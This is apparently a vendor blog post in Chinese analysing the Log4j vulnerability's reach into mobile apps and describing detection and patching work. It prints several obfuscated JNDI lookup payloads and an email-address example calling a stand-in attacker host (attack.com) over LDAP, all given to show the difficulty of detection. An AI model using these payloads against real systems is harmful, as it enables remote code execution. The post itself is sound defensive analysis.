我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

我们如何应对 Log4j 漏洞？阅读我们针对移动应用的分析。

Log4j 漏洞对移动应用有何影响

Martin Salis

到目前为止，大多数人应该都已经听说或读到过有关 Log4J 风暴的消息了。

本文的目的不是重复许多资料已经分享过的相同内容，而是提供一个不同的视角：聚焦于移动应用中的检测，同时探讨所有漏洞扫描器在检测此类漏洞时所面临的独特挑战。

我们第一次听说 Log4J 是在一个星期五的早上，当时有人问 Android 是否受该漏洞影响。通读该问题后，这看起来是一个严重的漏洞，但似乎并不比 Equifax 漏洞（本身已经相当严重）更为致命。

直到当天晚些时候，情况才开始明朗起来。Log4j 漏洞是一个可远程利用的远程代码执行（RCE）漏洞，不需要绕过任何内存保护，利用非常可靠，而且存在于一个使用极为广泛的库中——甚至连火星上都有，其影响可能会层层波及到远超暴露在互联网上的服务器的系统。 这个问题已经糟糕到了极点。

借助功能丰富的模板引擎，该漏洞的利用代码还可以被高度混淆，如下所示：

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

修复该问题需要更新该库，在某些情况下还需要升级到更新版本的 Java，而这可能带来破坏性变更。

为了应对这一问题，Ostorlab 着手开展了 3 部分工作：

  • 修补我们的系统，并补上所有遗漏的修复
  • 验证该漏洞对移动应用的适用性，并确保能够正确检测
  • 在服务器端和 API 扫描中实现检测

打补丁

得益于对云服务的使用，我们的资产清单很容易维护。在逐一检查所有系统并对每个系统进行扫描之后，我们发现了一个用于结果索引的存在漏洞的服务。 当时该服务还没有可用的补丁。不过该系统并非业务关键系统，因此我们决定先将其禁用。 不过，对我们代码库的分析确实发现了一些随我们的代码一起分发的工具使用了存在漏洞的 log4j 版本，这些工具很快就得到了修补。

客户端检测

Log4j 在移动应用中并不常用。然而，分析之前扫描过的应用的历史数据后，我们发现有超过 100 个应用包含 log4j 版本，其中一些应用的用户数超过 50M。

提示：Ostorlab 会自动生成应用的软件物料清单，包括在免费社区版中，可在“Libraries & Dependencies”部分查看。

移动应用指纹
移动应用指纹

移动应用指纹
移动应用指纹

然而，Log4j 漏洞是由一个 JNDI 查找类引起的，而我们审查的版本中并不存在这个类。

深入研究 JNDI 功能后发现，JNDI 的实现位于 javax.naming 中，在某些 Android 版本中则位于 android.javax.naming 中。

JNDI log4j
JNDI log4j

这个包很少出现在应用中，但我们至少在 6 个应用中发现了它，其中一些应用的用户数超过一百万。所有这些应用都包含 JNDI 解析的实现。

虽然 Log4j 很可能是最广泛的攻击向量，但未来我们很可能还会看到因不可信的 JNDI 解析而存在漏洞的应用。

JNDI 解析
JNDI 解析

对 javax.naming 包的分析表明，有多个应用使用了它，其中一些用于从 TLS 证书中提取 CN。

JNDI 解析关系图
JNDI 解析关系图

下面是使用 Ostorlab 静态分析功能生成的完整关系图，显示了命名实现类在整个应用中的使用位置：

JNDI 静态分析关系图
JNDI 静态分析关系图

服务器端检测

已经有许多开源项目使用 JNDI 字符串对应用进行模糊测试并等待回调。

Log4j 扫描的第一个挑战在于它基于回调，这意味着发送一个简单的请求并等待响应不会得到任何结果。传统的网络扫描器可能会失败，因为它们有时部署在私有网络中，其基于回调的载荷会使用无法访问的机器 IP 地址。

第二个挑战在于，日志可能来自具有不同序列化数据的各种输入。只有当输入通过第一个反序列化阶段之后，漏洞才可能被触发。这绝不是 log4j 独有的问题，而是所有 Web 漏洞扫描器都存在的一个已知的共同弱点。

最后一个挑战在于，直接请求并不是唯一的攻击向量，已经有人尝试将载荷放入 robots.txt、DNS 字段、电子邮件地址（hack+(${jndi:ldap://attack.com/exploit})@ostorlab.co 是一个有效的电子邮件地址）、TLS 证书字段、文件元数据、Wifi BSSID 等等……基本上，唯一的限制就是您的想象力。

任何安全工具都不太可能覆盖所有这些情况。

我们应该怎么做？

这个漏洞无疑是最危险的漏洞之一，其后续影响将在数月内逐步显现，之后我们才会陆续听到严重的入侵事件。

为了保护您的组织，必须采取多项措施：

  • 主动打补丁：如果您不确定自己的应用是否存在漏洞，可以使用 Ostorlab 免费平台执行扫描，确保不存在易受攻击的 Log4j 库。
  • 对源代码依赖进行扫描，以根除容易检测的情况
  • 对编译产物进行扫描，无论是 war、jar、apk 还是 docker 容器。
  • 对运行中的实例进行扫描，既包括您自己的代码，也包括您的第三方系统和设备。确认您使用的扫描器能够“听懂”您 API 的语言，也就是说，根据您的用例，支持 REST、SOAP 以及适当的 API 发现机制，例如 OpenAPI 或 GraphQL 模式内省。
  • 遗憾的是，由于该漏洞很容易被混淆，WAF 的作用可能不大，但它仍然是一种值得拥有的纵深防护手段。

标签：

mobile, web, rce